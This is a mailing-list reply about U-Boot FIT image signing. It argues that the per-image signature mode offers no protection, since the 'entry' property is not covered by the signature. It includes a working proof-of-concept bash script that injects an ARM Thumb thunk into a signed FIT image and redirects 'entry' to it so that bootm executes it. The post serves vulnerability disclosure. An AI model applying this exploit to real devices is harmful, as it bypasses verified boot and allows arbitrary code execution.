On Mon, Mar 02 2026, Tom Rini <[email protected]> wrote:

> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.

So the issue at hand is of course bad enough.

But can we please stop pretending that "mix and match" attacks are a
problem with the reguired=image mode, at least compared to the giant
hole which is that the 'entry' property can be modified arbitrarily [1],
including to point at a payload injected to the FIT image itself?

IMO, we should nuke all the code which deals with the required=image
mode and make it a build-time error to have such a key in the control
dtb, it offers no protection at all, and by having all the verification
logic duplicated in _image and _conf versions, it just makes it harder
to spot problems with the verification code in general.

[1] I just did a POC on a beagleboneblack. Add a

int poc_func(int arg) { printf("Got %x news ...\n"); }

function to the U-Boot source code, add a dummy call poc_func(0)
somewhere so it doesn't get gc'ed, then use something like this to
modify a FIT image with signed image nodes. bootm will happily accept
it, and jump to the thunk embedded in the FIT, which in turn will (for
demonstration) call that poc_func and you'll see "Got bad news ..."
printed.

===
#!/bin/bash

FIT_IMAGE=kernel.itb
FIT_KERNEL_PATH=/images/kernel-1
FIT_LOAD_ADDR=0x82000000

# This is only needed because we want to call back into U-Boot for
# demonstration, in practice one would make the payload
# self-contained.
RELOC_OFFSET=0x1f76d000

# Find the address of poc_func function
build_addr=$(nm ../u-boot | grep -w poc_func | awk '{print $1}')

printf -v addr '%08x' $((0x${build_addr} + ${RELOC_OFFSET}))
echo "poc_func post-relocation address: ${addr}"

{
    # movw    r0, #2989       @ 0xbad
    printf '%b' '\x40\xf6\xad\x30'
    # ldr     r3, [pc, #0]
    printf '%b' '\x00\x4b'
    # bx      r3
    printf '%b' '\x18\x47'
    # The constant loaded above
    printf '%b' "\x${addr:6:2}\x${addr:4:2}\x${addr:2:2}\x${addr:0:2}"
    # Add a marker that will help us locate the byte offset in the FIT image of 
the thunk.
    printf '##exploit code##'
} > code.bin

fdtput -t bx -p "${FIT_IMAGE}" / poc $(xxd -i < code.bin | tr -d ,)
offset=$(grep -a -o --byte-offset '##exploit code##' "${FIT_IMAGE}" | cut -f1 
-d:)

# Change the 'entry' property of the kernel image so that it points to the 
start of our
# payload. That is 12 bytes long, so subtract 11 (because thumb
# mode...). Adjust as necessary.
fdtput -t u "${FIT_IMAGE}" "${FIT_KERNEL_PATH}" entry $((FIT_LOAD_ADDR + offset 
- 11))

===

Adding a sanity check that 'entry' points somewhere within [$load,
$load+size] could make this harder, but is not enough; there are likely
to be byte sequences in the kernel image that decode as some useful jump
instruction.

Rasmus

Reply via email to